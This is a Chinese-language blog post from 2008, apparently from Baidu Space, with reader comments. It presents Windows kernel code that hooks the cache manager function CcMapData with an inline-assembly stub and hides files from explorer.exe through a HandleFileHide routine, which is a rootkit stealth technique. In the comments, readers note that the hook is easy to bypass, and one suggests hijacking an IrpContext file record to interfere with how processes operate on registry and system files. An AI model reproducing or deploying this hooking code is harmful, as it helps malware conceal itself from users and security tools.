百度空间 | 百度首页 
 
查看文章
 
挂接缓存管理器CcMapData()实现文件XX
2008-04-23 19:39

    呵呵,很垃圾,但是可以避免再做个别处理了。

VOID __stdcall HandleMapData(IN PFILE_OBJECT FileObject,
    IN PLARGE_INTEGER FileOffset,
    IN ULONG Length,
    IN ULONG Flags,
    OUT PVOID *Bcb,
    OUT PVOID *Buffer
)
{

if(!_strnicmp((PCHAR)((ULONG)PsGetCurrentProcess() + ImageNameOffset), "explorer.exe", strlen("explorer.exe")))
{
   if(CcPinMappedData(FileObject, FileOffset, Length, Flags, Bcb))
    {
    HandleFileHide(*Buffer, Length);
    }
}

return;
  
}

void __declspec(naked) NewCcMapData()
{
__asm
   {  
   pushad
   pushfd

   cli
   push [ebp+1ch]
   push [ebp+18h]
   push [ebp+14h]
   push [ebp+10h]
   push [ebp+0ch]
   push [ebp+8]
   call HandleMapData
   sti
  
   popfd
   popad

   mov   ecx, [ebp-10h]
   mov   fs:0, ecx
   pop   edi
   pop   esi
   pop   ebx
   _emit 0xc9
   ret    18h
   }

}


类别:染内污核 | 浏览() | 评论 (5)
 
最近读者:
 
网友评论:
1
2008-04-25 15:23 | 回复
不好啊不好,还得处理一堆东西,不然很容易绕过. 不知道az是不是有什么绝招?
 
2
2008-04-25 18:21 | 回复
确实不咋地,只能说FSD层比较通用。确实很容易绕过~
 
3
2008-04-27 13:20 | 回复
Filelib不咋地啊。。。
 
4
2009-04-25 13:58 | 回复
M$在IrpContext结构体的偏移+0x0D0处设计了一个小型数组,最多能包含4个.
    +---------------+
    | fileRecord    |
    |     Bcb          |
    | MftNumber |
   +----------------+
存放要操作的系统文件,eg : ntuser.dat. 所以每次会先在这里查询一下,没有才去调用CcMapData. 所以要干涉某些进程对系统文件的操作.仅仅挂钩CcMapData会有遗漏.

当然,可以把fileRecord劫持为其他文件,干扰某些进程对系统文件的操作(eg. 操作注册表)...
----------------------------------
仅个人见解,不对的地方敬请指正~
 
5
2009-04-25 15:26 | 回复
多谢指正~看来以前考虑的很不全面
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu